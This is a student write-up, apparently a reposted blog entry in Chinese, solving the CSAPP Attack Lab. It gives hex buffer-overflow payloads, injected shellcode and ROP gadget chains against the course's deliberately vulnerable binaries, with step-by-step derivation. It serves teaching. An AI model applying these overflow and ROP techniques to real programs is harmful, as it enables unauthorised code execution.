CSAPP_AttackLab實驗報告


屏幕截圖

考察內容

本次lab主要考察對棧幀的掌握程度以及對Ctrl+F的掌握程度

各題答案

level1

00 01 02 03 04 05 06 07
08 09 1a 0b 0c 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
c0 17 40 00

level2

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
78 dc 61 55

level3

48 c7 c7 ac dc 61 55 68
fa 18 40 00 c3 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
78 dc 61 55 00 00 00 00
00 00 00 00 35 39 62 39
39 37 66 61 00 00 00 00

level4

00 01 02 03 04 05 06 07
08 09 1a 0b 0c 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

level5

00 01 02 03 04 05 06 07
08 09 1a 0b 0c 0d 0e 0f
10 11 12 13 14 15 16 17
18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27
ad 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00

解題思路

level1

任務

利用緩沖區溢出使getbuf函數結束后返回touch1。

思路

將可執行文件ctarget反匯編后,查看getbuf部分的指令:

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>

從語句4017a8可以看出,getbuf函數預留的緩沖區長度為40byte。根據棧幀結構,只需要先用40byte的無意義數據覆蓋緩沖區,再輸入touch1函數的首地址就完成了。同時這個attack是免疫棧隨機化和棧不可運行的。

查看touch1的首地址為0x4017c0,根據小端法,只需要在無意義數據的后面添上c0 17 40即可。

level2

任務

利用緩沖區溢出使getbuf結束后返回touch2,同時寄存器rdi的值被修改為0x59b997fa。

思路

因為需要利用緩沖區溢出修改寄存器的值,因此聯想到將指令寫入棧中並在棧上運行。

新建文件1.s,在其中寫入以下內容:

movq $0x59b997fa,%rdi //將rdi里的值修改為cookie
pushq $0x4017ec       //將touch2的首地址壓入棧中
ret

在終端中執行指令gcc -c 1.s,將匯編語言編譯為二進制文件,然后再通過objdump指令反匯編,得出匯編指令的機器語言:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq   

將機器語言代碼加入exploit.txt中,用gdb調試查看getbuf開辟緩沖區后rsp的值為0x5561dc78,因此在覆蓋數據后加入78 dc 61 55即可。

level3

任務

利用緩沖區溢出使getbuf結束后返回touch3,同時使寄存器rdi指向"59b997fa"字符串的首地址。

思路

首先的思路是將level2的機器代碼稍微改一下:將字符串的ASCII碼放在緩沖區中,機器語言代碼中將寄存器rdi的值改為棧中字符串的首地址,然后將touch3的首地址壓入棧中。

嘗試之后發現返回結果不是PASS而是misfire。調用gdb查看rip指向touch3時原getbuf緩沖區的值,發現由於getbuf緩沖區長度過小,導致調用touch3后由於退棧導致rsp覆蓋了原本放置字符串的區域。因此將cookie放在緩沖區中是不可行的。

后來想到既然由於函數跳轉,getbuf的棧幀不可用,那么可以將字符串放在相較getbuf棧幀更接近底層的地方,也就是放在返回地址的后面。這樣更加不容易被覆蓋。

level4

任務

在開啟棧隨機化和棧不可執行的條件下,利用緩沖區溢出和ROP注入完成level2的任務。

思路

由於棧不可執行,level2中直接在棧上執行代碼的方法失效了。PPT提示使用ROP注入的方式。意思是在rtarget的farm部分中有一大堆奇怪的函數,這些函數代碼編譯后的二進制形式的某一部分可以被理解為匯編指令。因此可以將getbuf的返回地址重定向到該部分開頭處,就可以間接達成任務要求。

然而並沒有發現在farm中有類似movq $0x59b997fa,%rdi這樣的語句。再加上ROP table.pdf中給出的只有從寄存器到寄存器、從棧到寄存器的操作。因此想到可以先將0x59b997fa存放在棧中,然后利用farm里的popq操作將cookie間接賦給rdi。

利用Ctrl+F在反匯編后的rtarget文件的farm部分中查找和popq有關的關鍵字,發現只有在<addval_219>中含有和popq有關的關鍵字,且之后內容為代表空的"90"。

00000000004019a7 <addval_219>:
  //下行“58”開頭的代碼等價於"popq %rax"
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax 
  4019ad:	c3 

然而該level要求的是將寄存器rdi的值賦為cookie,而非rax。因此考慮利用movq操作將rax的值賦給rdi。猜想代表"movq %rax,%rdi"的"48 89 c7",最后在<setval_426>中找到了它。

00000000004019c3 <setval_426>:
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	retq

因此只要將各個模塊組裝起來就好了。最后的棧幀結構大致是這樣的:

地址 代碼大意
x-24~x-4 覆蓋緩沖區數據
x 跳轉至<addval_219>,執行popq
x+4
x+8 存放cookie
x+12
x+16 跳轉至<setval_426>,執行movl
x+20
x+24 跳轉至touch2

兩個ROP之間的byte留空的原因是每次函數返回后,執行popq指令,rsp-8,如果不留空的話會導致數據被覆蓋。

具體代碼見各題答案。

level5

任務

在開啟棧隨機化和棧不可執行的條件下,利用緩沖區溢出和ROP注入完成level3的任務。

(據說是非常非常難的,可我覺得就是一個gadget收集大賽……)

思路

有了level4作鋪墊,那level5的解題思路也就不難想到了。

於是開始收集各種(可能)有用的gadget(體會到了Ctrl+F真的是神器啊……):

作用 地址
popq %rax 0x4019ab
movq %rax,%rdi 0x4019c5
movq %rsp,%rax 0x401a06,0x401aad
movl %eax,%edx 0x4019dd
movl %eax,%edi 0x4019c6
movl %ecx,%esi 0x401a13,0x401a27
movl %edx,%ecx 0x401a69,0x401a34
movl %esp,%eax 0x401a3c,0x401a86,0x401aae,0x401a07
rax=rdi+rsi 0x4019d6

最后一個尤其特殊。它不是某個函數的一部分,而是整個函數的作用就是將rax的值修改為rdi+rsi。由於PPT中提到某些gadget的畫風可能和其他gadget不太一樣,因此猜想這個gadget是解決level5的關鍵。

考慮如何解決level5。容易想到和level3一樣把字符串放在棧中。只是因為開啟了棧隨機化,沒有辦法把一個絕對地址通過直接或間接的方法賦給rdi,因為這個字符串的首地址每次運行rtarget時都會改變。因此考慮相對地址,也就是計算出rsp和字符串首地址的距離,將兩者相加賦給rdi。因此add_xy派上了用場。

設相對距離為x,那么最終目的是rdi=rsp+x。目前我們擁有的函數是rax=rdi+rsi,因此需要通過某種途徑將rsp賦給rdi,將x賦給rsi,最后將計算結果rax賦給rdi。通過gadget我們可以輕松地畫出兩條傳遞鏈:

rsp-->rax-->rdi
pushq x-->rax(eax)-->edx-->ecx-->esi(rsi)

因此整個解題邏輯就十分清楚了。

棧幀結構:

地址 代碼大意
x~x+20 覆蓋數據
x+24 movq %rsp,%rax
x+32 movq %rax,%rdi
x+40 偏移量(本題中為0x48)
x+48 popq %rax
x+56 movl %eax,%edx
x+64 movl %edx,%ecx
x+72 movl %ecx,%esi
x+80 add_xy
x+88 movq %rax,%rdi
x+96 返回touch3

按照棧幀結構填入對應地址或值即可。

Reference

  1. AttackLab.pptx
  2. 深入理解計算機系統attack lab


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM